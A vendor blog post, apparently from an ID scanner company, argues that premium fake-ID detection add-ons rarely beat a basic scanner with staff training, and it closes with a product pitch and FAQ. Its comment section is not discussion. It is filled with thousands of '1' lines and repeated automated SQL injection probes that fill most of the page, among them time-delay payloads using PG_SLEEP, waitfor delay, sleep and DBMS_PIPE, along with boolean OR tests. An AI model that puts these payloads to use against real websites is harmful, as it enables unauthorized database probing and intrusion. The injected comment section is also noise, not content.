It’s fair to question whether those pricey fake-ID detection modules and their hefty recurring fees really move the needle, especially as counterfeit IDs are getting more sophisticated at mimicking embedded security features.
Compliance failures are nothing new; in Savannah, Georgia, a two-day sting by the Alcohol Beverage Compliance Unit found 56% of establishments failed. The report doesn’t reveal whether scanners were used, or if the mistakes came from skipped ID checks, miscalculated birthdates, or staff error. Yet, the reality is that a properly deployed, feature-complete ID scanner paired with employee training should be enough to pass these tests. So how do expensive detection modules make you any more compliant?
Many ID scanner providers offer premium “fake-ID detection” add-ons that they pitch as indispensable for security-savvy bars and nightclubs. These typically include:
This marketing approach often makes business owners feel they can only be compliant by paying extra, but that’s not necessarily the case.
Not always. These modules are built to detect static, known patterns—but modern counterfeiters are using high-quality printing that duplicates many embedded security features, such as UV markings or barcodes that pass superficial scanner checks.
That means a fake ID can still slip through: the scanner may “pass” it because all visible features align, even when the ID is fraudulent.
Three components drive the price for any ID detection module:
If fake-ID makers evolve faster than your updates, you may not see much benefit, yet you’ll still pay.
Industry and state Alcoholic Beverage Control (ABC) compliance reports consistently highlight:
Fact Check:
There is no publicly available evidence showing a statistically significant drop in sting-operation failures tied specifically to premium detection modules over plain scanners plus training. Often, establishments succeed because of solid human protocols, not just tech extras.
Staying compliant means more than passing a sting—it’s about proving consistent, verifiable ID checks.
Factor |
Decision Guide |
---|---|
Frequency of sting audits |
If you're in a high-impact area (e.g. large college town), even modest gains may be worth it |
Volume of ID traffic |
High-volume venues may automate more, but training still matters |
Budget vs. risk tolerance |
Monthly fees add up—evaluate ROI carefully |
Staff turnover |
If training lags, you may rely too heavily on tech that has limits |
Vendor transparency |
Ask providers for real test results demonstrating how their modules flagged actual fakes undetected by normal scanners |
Feature |
Premium Module |
Feature-Complete Scanner |
Monthly Fees |
Yes |
No |
Works Offline |
Sometimes |
Yes |
Scans All U.S./Canada IDs |
Yes |
Yes |
Expired ID Alert |
Yes |
Yes |
Maintenance Contracts |
Often |
None |
Industry experts and regulatory agencies like the California ABC stress that even with scanning tools, compliance hinges on trained staff and consistent procedures. When scanning U.S. and Canadian driver’s licenses for compliance, relying on processes rather than automated detection alone (even fancy modules) can make the most impact on compliance.
Ultimately, the smartest choice is the one that balances technology with trained staff and fits your budget. The goal isn’t the most expensive tech — it’s the most reliable protection for your business.
For businesses that need fast, accurate verification of all U.S. and Canadian driver’s licenses, a stand-alone scanner remains one of the most cost-effective choices.
For most venues, Viage’s scanners provide the speed, accuracy, and compliance tools you need—without contracts, fees, or add-ons. Explore our product or contact us to learn more.
A: Not necessarily. They often detect known patterns, but well-made fake IDs can still pass detection. Training and a reliable base scanner matter the most.
A: Not reliably. While some modules claim to detect known counterfeit patterns, ABC compliance reports consistently show that success in sting operations depends more on trained staff and consistent ID-check protocols than on premium tech add-ons. No public data proves that venues using detection modules pass stings at higher rates than those using standard scanners plus training.
A: Use a drivers license scanner that reads all U.S. and Canadian IDs, pair it with regular staff training, and maintain a documented audit trail. Compliance isn’t just about catching fakes—it’s about proving that your team consistently verifies age and refuses questionable IDs.
A: Maintain scan logs that show time-stamped ID checks, refusals, and age-verification efforts. When paired with staff training records and a clear protocol (like the F-L-A-G method), these logs demonstrate that your venue takes ID verification seriously, even if a fake slips through.
A: ViAge scanners offer fast, accurate age verification without contracts, hidden fees, or costly add-ons. They’re built for high-traffic venues that need reliable compliance tools—scanning IDs in seconds, flagging expired licenses, and creating a clear audit trail. For most establishments, ViAge delivers the protection you need without overpaying for features you don’t.
364 Comment(s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
(select 198766*667891)
@@UhkaE
1'"
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1oSUGzwmZ')) OR 498=(SELECT 498 FROM PG_SLEEP(15))--
1edWKZ5Xb') OR 208=(SELECT 208 FROM PG_SLEEP(15))--
1AC5pYXsK' OR 835=(SELECT 835 FROM PG_SLEEP(15))--
1-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
1-1) OR 702=(SELECT 702 FROM PG_SLEEP(15))--
1-1 OR 859=(SELECT 859 FROM PG_SLEEP(15))--
1hQeLnFwq'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "C2WMFORF"="
-1" OR 5*5=25 or "C2WMFORF"="
-1' OR 5*5=26 or 'SZ9fzCcG'='
-1' OR 5*5=25 or 'SZ9fzCcG'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
1
(select 198766*667891)
@@MmpFc
1'"
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
13mRkk2I4')) OR 780=(SELECT 780 FROM PG_SLEEP(15))--
1rK4GVNoP') OR 10=(SELECT 10 FROM PG_SLEEP(15))--
1muxf6FZJ' OR 883=(SELECT 883 FROM PG_SLEEP(15))--
1-1)) OR 872=(SELECT 872 FROM PG_SLEEP(15))--
1-1) OR 845=(SELECT 845 FROM PG_SLEEP(15))--
1-1 OR 669=(SELECT 669 FROM PG_SLEEP(15))--
1E6K255pg'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "scRfbZ5f"="
-1" OR 5*5=25 or "scRfbZ5f"="
-1' OR 5*5=26 or '1BG7PhWV'='
-1' OR 5*5=25 or '1BG7PhWV'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
(select 198766*667891)
@@WsLU8
1
1'"
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1uh361qrU')) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
1DzoVDEf0') OR 671=(SELECT 671 FROM PG_SLEEP(15))--
1QP4t0Tz8' OR 321=(SELECT 321 FROM PG_SLEEP(15))--
1-1)) OR 989=(SELECT 989 FROM PG_SLEEP(15))--
1-1) OR 92=(SELECT 92 FROM PG_SLEEP(15))--
1-1 OR 327=(SELECT 327 FROM PG_SLEEP(15))--
11BfRqP2J'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "ZEYetgrf"="
-1" OR 5*5=25 or "ZEYetgrf"="
-1' OR 5*5=26 or 'GTYUolas'='
-1' OR 5*5=25 or 'GTYUolas'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
1
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
@@v5Qzr
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1jB8QMdIB')) OR 467=(SELECT 467 FROM PG_SLEEP(15))--
1-1)) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
1PvAO6J0q' OR 905=(SELECT 905 FROM PG_SLEEP(15))--
1-1) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
1ilit4tbe') OR 516=(SELECT 516 FROM PG_SLEEP(15))--
1-1 OR 329=(SELECT 329 FROM PG_SLEEP(15))--
1pRNNWqcW'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
-1" OR 3+174-174-1=0+0+0+1 --
1
1
-1" OR 2+174-174-1=0+0+0+1 --
1
1
-1' OR 3+354-354-1=0+0+0+1 or 'V8gyZDNQ'='
1
1
-1' OR 2+354-354-1=0+0+0+1 or 'V8gyZDNQ'='
1
1
-1' OR 3+99-99-1=0+0+0+1 --
1
-1' OR 2+99-99-1=0+0+0+1 --
1
-1 OR 3+703-703-1=0+0+0+1
1
-1 OR 2+703-703-1=0+0+0+1
-1 OR 3+459-459-1=0+0+0+1 --
-1 OR 2+459-459-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@Jng8T
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1Qrv6SCT8')) OR 560=(SELECT 560 FROM PG_SLEEP(15))--
14Q35Wbeo') OR 474=(SELECT 474 FROM PG_SLEEP(15))--
1M8Uplyaf' OR 331=(SELECT 331 FROM PG_SLEEP(15))--
1-1)) OR 748=(SELECT 748 FROM PG_SLEEP(15))--
1-1) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
1-1 OR 320=(SELECT 320 FROM PG_SLEEP(15))--
1hwo6pWdO'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 2+517-517-1=0+0+0+1 --
-1" OR 3+517-517-1=0+0+0+1 --
-1' OR 3+903-903-1=0+0+0+1 or 'a2pPaKFw'='
-1' OR 2+903-903-1=0+0+0+1 or 'a2pPaKFw'='
-1' OR 3+276-276-1=0+0+0+1 --
-1 OR 3+172-172-1=0+0+0+1 --
-1 OR 2+560-560-1=0+0+0+1
-1 OR 3+560-560-1=0+0+0+1
-1' OR 2+276-276-1=0+0+0+1 --
1
-1 OR 2+172-172-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@v4aYT
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1hGxt4iXT') OR 619=(SELECT 619 FROM PG_SLEEP(15))--
1l7Ql2HdL')) OR 714=(SELECT 714 FROM PG_SLEEP(15))--
1d2TxyIbZ' OR 735=(SELECT 735 FROM PG_SLEEP(15))--
1-1)) OR 437=(SELECT 437 FROM PG_SLEEP(15))--
1-1) OR 808=(SELECT 808 FROM PG_SLEEP(15))--
1-1 OR 493=(SELECT 493 FROM PG_SLEEP(15))--
18W6eWj0F'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1" OR 2+35-35-1=0+0+0+1 --
-1" OR 3+35-35-1=0+0+0+1 --
-1' OR 3+357-357-1=0+0+0+1 or 'zh8wvniK'='
-1' OR 2+357-357-1=0+0+0+1 or 'zh8wvniK'='
-1' OR 2+564-564-1=0+0+0+1 --
-1' OR 3+564-564-1=0+0+0+1 --
-1 OR 2+340-340-1=0+0+0+1 --
-1 OR 3+340-340-1=0+0+0+1 --
-1 OR 2+337-337-1=0+0+0+1
-1 OR 3+337-337-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@U8X42
1
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1WfZF7Uxd')) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
1YskfTjcH') OR 487=(SELECT 487 FROM PG_SLEEP(15))--
1mR2nAAz4' OR 37=(SELECT 37 FROM PG_SLEEP(15))--
1-1) OR 676=(SELECT 676 FROM PG_SLEEP(15))--
1-1)) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
1-1 OR 665=(SELECT 665 FROM PG_SLEEP(15))--
1AbIjTV7j'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 3+141-141-1=0+0+0+1 --
-1" OR 2+141-141-1=0+0+0+1 --
-1' OR 3+392-392-1=0+0+0+1 or 'gFuPtXTG'='
-1' OR 2+392-392-1=0+0+0+1 or 'gFuPtXTG'='
-1' OR 3+93-93-1=0+0+0+1 --
-1' OR 2+93-93-1=0+0+0+1 --
-1 OR 3+218-218-1=0+0+0+1
-1 OR 2+218-218-1=0+0+0+1
-1 OR 3+885-885-1=0+0+0+1 --
-1 OR 2+885-885-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
(select 198766*667891)
@@rxj4L
1'"
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1pNa3oCLz')) OR 964=(SELECT 964 FROM PG_SLEEP(15))--
1k6XAyTyW') OR 195=(SELECT 195 FROM PG_SLEEP(15))--
1SZzBzd7h' OR 236=(SELECT 236 FROM PG_SLEEP(15))--
1-1)) OR 371=(SELECT 371 FROM PG_SLEEP(15))--
1-1) OR 376=(SELECT 376 FROM PG_SLEEP(15))--
1-1 OR 640=(SELECT 640 FROM PG_SLEEP(15))--
1n3nvSWio'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "F98fET9n"="
-1" OR 5*5=25 or "F98fET9n"="
-1' OR 5*5=26 or 'LRX5cd5J'='
-1' OR 5*5=25 or 'LRX5cd5J'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1